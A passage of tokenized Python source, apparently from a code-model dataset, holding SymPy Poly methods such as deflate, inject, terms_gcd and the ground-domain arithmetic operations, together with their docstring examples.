"\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "lift", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "lift", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "deflate", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Reduce", " ", "degr", "ee", " ", "of", " ", "``", "f", "``", " ", "by", " ", "mapping", " ", "``", "x", "\\u", "i", "**", "m", "``", " ", "to", " ", "``", "y", "\\u", "i", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "6", "*", "y", "**", "2", " ", "+", " ", "x", "**", "3", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ").", "deflate", "()", "\\", "10", ";", " ", " ", " ", " ", "((", "3", ",", " ", "2", "),", " ", "Poly", "(", "x", "**", "2", "*", "y", " ", "+", " ", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "deflate", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", ",_", "result_", "=_", "f_", "._", "rep_", "._", "deflate", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "deflate", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "J_", ",_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject_", "(_", "f_", ",_", "front_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Inject", " ", "ground", " ", "domain", " ", "generat", "ors", " ", "int", "o", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "2", "*", "y", " ", "+", " ", "x", "*", "y", "**", "3", " ", "+", " ", "x", "*", "y", " ", "+", " ", "1", ",", " ", "x", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "inject", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", "*", "y", " ", "+", " ", "x", "*", "y", "**", "3", " ", "+", " ", "x", "*", "y", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "inject", "(", "front", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "y", "**", "3", "*", "x", " ", "+", " ", "y", "*", "x", "**", "2", " ", "+", " ", "y", "*", "x", " ", "+", " ", "1", ",", " ", "y", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", "=_", "f_", "._", "rep_", "._", "dom_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dom_", "._", "is", "\\u", "Numerical", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "dom_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Doma", "in", "Error_", "(_", "\"", "can", "'", "t", " ", "inject", " ", "generat", "ors", " ", "over", " ", "%", "s", "\"_", "%_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "inject", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "inject_", "(_", "front_", "=_", "front_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "inject", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "front_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "dom_", "._", "symbols_", "+_", "f_", "._", "gens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "f_", "._", "gens_", "+_", "dom_", "._", "symbols_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "new_", "(_", "result_", ",_", "*_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "term", "s", "\\u", "gcd_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Remove", " ", "GC", "D", " ", "of", " ", "term", "s", " ", "from", " ", "the", " ", "polynomial", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "6", "*", "y", "**", "2", " ", "+", " ", "x", "**", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "term", "s", "\\u", "gc", "d", "()", "\\", "10", ";", " ", " ", " ", " ", "((", "3", ",", " ", "1", "),", " ", "Poly", "(", "x", "**", "3", "*", "y", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "term", "s", "\\u", "gc", "d", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", ",_", "result_", "=_", "f_", "._", "rep_", "._", "term", "s", "\\u", "gcd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "term", "s", "\\u", "gc", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "J_", ",_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "ground_", "(_", "f_", ",_", "coeff_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", " ", "an", " ", "element", " ", "of", " ", "the", " ", "ground", " ", "domain", " ", "to", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "+", " ", "1", ").", "add", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "3", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "add", "\\u", "ground", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "add", "\\u", "ground_", "(_", "coeff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "add", "\\u", "ground", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sub\\u", "ground_", "(_", "f_", ",_", "coeff_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Subtract", " ", "an", " ", "element", " ", "of", " ", "the", " ", "ground", " ", "domain", " ", "from", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "+", " ", "1", ").", "sub\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "sub\\u", "ground", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "sub\\u", "ground_", "(_", "coeff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "sub\\u", "ground", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mul", "\\u", "ground_", "(_", "f_", ",_", "coeff_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Multiply", " ", "``", "f", "``", " ", "by", " ", "a", " ", "an", " ", "element", " ", "of", " ", "the", " ", "ground", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "+", " ", "1", ").", "mul", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "mul", "\\u", "ground", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "mul", "\\u", "ground_", "(_", "coeff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "mul", "\\u", "ground", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "quo", "\\u", "ground_", "(_", "f_", ",_", "coeff_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Qu", "oti", "ent", " ", "of", " ", "``", "f", "``", " ", "by", " ", "a", " ", "an", " ", "element", " ", "of", " ", "the", " ", "ground", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "4", ").", "quo", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "3", ").", "quo", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "quo", "\\u", "ground", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "quo", "\\u", "ground_", "(_", "coeff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "quo", "\\u", "ground", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ex", "quo", "\\u", "ground_", "(_", "f_", ",_", "coeff_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Exa", "ct", " ", "quot", "ient", " ", "of", " ", "``", "f", "``", " ", "by", " ", "a", " ", "an", " ", "element", " ", "of", " ", "the", " ", "ground", " ", "domain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "4", ").", "ex", "quo", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "3", ").", "ex", "quo", "\\u", "ground", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Trace", "back", " ", "(", "most", " ", "recent", " ", "call", " ", "last", "):", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Exa", "ct", "Qu", "oti", "ent", "Fail", "ed", ":", " ", "2", " ", "doe", "s", " ", "not", " ", "divide", " ", "3", " ", "in", " ", "ZZ", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "ex", "quo", "\\u", "ground", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "ex", "quo", "\\u", "ground_", "(_", "coeff_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "ex", "quo", "\\u", "ground", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "abs_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "all", " ", "coefficient", "s", " ", "in", " ", "``", "f", "``", " ", "posit", "ive", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "abs", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "abs", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "abs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "abs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "neg_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Nega", "te", " ", "all", " ", "coefficient", "s", " ", "in", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ").", "neg", "()", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(-", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "-", "Poly", "(", "x", "**", "2", " ", "-", " ", "1", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(-", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "neg", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "neg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "neg", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "per_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", " ", "two", " ", "polynomial", "s", " ", "``", "f", "``", " ", "and", " ", "``", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", 